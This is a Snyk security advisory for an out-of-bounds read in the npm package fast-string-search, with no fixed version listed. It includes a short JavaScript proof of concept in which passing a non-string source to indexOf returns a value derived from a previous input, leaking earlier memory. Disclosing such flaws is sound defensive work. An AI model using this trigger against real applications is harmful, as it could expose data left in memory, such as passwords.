Out-of-bounds Read Affecting fast-string-search package, versions *


0.0
medium

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.07% (29th percentile)
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NVD
5.3 medium

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  • Snyk ID SNYK-JS-FASTSTRINGSEARCH-2392368
  • published 16 Jun 2022
  • disclosed 3 Feb 2022
  • credit Cristian-Alexandru Staicu

How to fix?

There is no fixed version for fast-string-search.

Overview

fast-string-search is a module that can search substrings in a string by using N-API and boyer-moore-magiclen.

Affected versions of this package are vulnerable to Out-of-bounds Read due to incorrect memory freeing and length calculation for any non-string input as the source. This allows the attacker to read previously allocated memory.

###PoC

const fss = require('fast-string-search');
fss.indexOf("My password is joke 9", "is"); 
let res = fss.indexOf(1, "9"); 
// res will contain the index of "9" from the previous input and not the current one.
console.log(res)

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